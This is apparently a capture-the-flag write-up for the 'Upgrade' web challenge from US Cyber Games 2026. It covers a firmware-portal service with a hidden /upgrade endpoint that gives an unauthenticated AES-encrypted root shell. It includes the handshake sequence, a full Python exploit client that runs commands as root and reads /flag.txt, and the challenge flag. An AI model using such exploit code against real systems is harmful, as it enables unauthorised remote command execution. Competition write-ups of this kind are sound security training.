arrow_backUS Cyber Games 2026
Webmedium

Upgrade

by Pavel Knespl (capyplivl)

A raw TCP service that speaks HTTP, posing as the "AxiOS Corp" firmware update portal. A hidden /upgrade endpoint negotiates a fake protocol upgrade and drops into an AES-CBC root shell, but the AES key is whatever the client puts in the Sec-Backdoor-Key header. With no secret required, anyone who completes the handshake gets unauthenticated RCE as root.

Solve

  1. Send a plain HTTP request to the TCP port. The page source and robots.txt both point at /upgrade.
  2. GET /upgrade runs a handshake state machine:
    GET /upgrade                     -> 426 Upgrade Required (Upgrade: backdoor)
    + Upgrade: backdoor              -> 900 Sec-Backdoor-Key Required
    + Sec-Backdoor-Key: <wrong len>  -> 901 Incorrect Length
    
    The server only checks the key is 32 chars and alphanumeric. A valid 32-char value returns:
    HTTP/1.1 101 Switching Protocols
    Upgrade: backdoor
    
  3. After 101 the server sends {"iv": "...", "payload": "..."} (base64). The 32-byte Sec-Backdoor-Key is used directly as the AES-256-CBC key, so decrypting payload with that key and the given IV yields the shell banner.
  4. Write a client that performs the handshake, then for each command sends {"iv":..,"payload":..} where payload is AES-256-CBC(key, pad(cmd)), and decrypts the reply:
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import pad, unpad
    import socket, json, base64
    
    KEY = b"0123456789abcdef0123456789abcdef"
    
    def send(sock, cmd):
        iv = b"\x00" * 16
        c = AES.new(KEY, AES.MODE_CBC, iv)
        ct = c.encrypt(pad(cmd.encode(), 16))
        line = json.dumps({"iv": base64.b64encode(iv).decode(),
                           "payload": base64.b64encode(ct).decode()}) + "\n"
        sock.sendall(line.encode())
        resp = json.loads(sock.recv(65536).decode())
        d = AES.new(KEY, AES.MODE_CBC, base64.b64decode(resp["iv"]))
        return unpad(d.decrypt(base64.b64decode(resp["payload"])), 16).decode()
    
    s = socket.create_connection(("HOST", 33849))
    s.sendall(b"GET /upgrade HTTP/1.1\r\nUpgrade: backdoor\r\n"
              b"Sec-Backdoor-Key: " + KEY + b"\r\n\r\n")
    s.recv(65536)
    print(send(s, "id"))
    print(send(s, "cat /flag.txt"))
    
  5. id returns uid=0(root). Reading /flag.txt gives the flag.

Flag: SVIUSCG{489a8a35221574b91a89631767258398}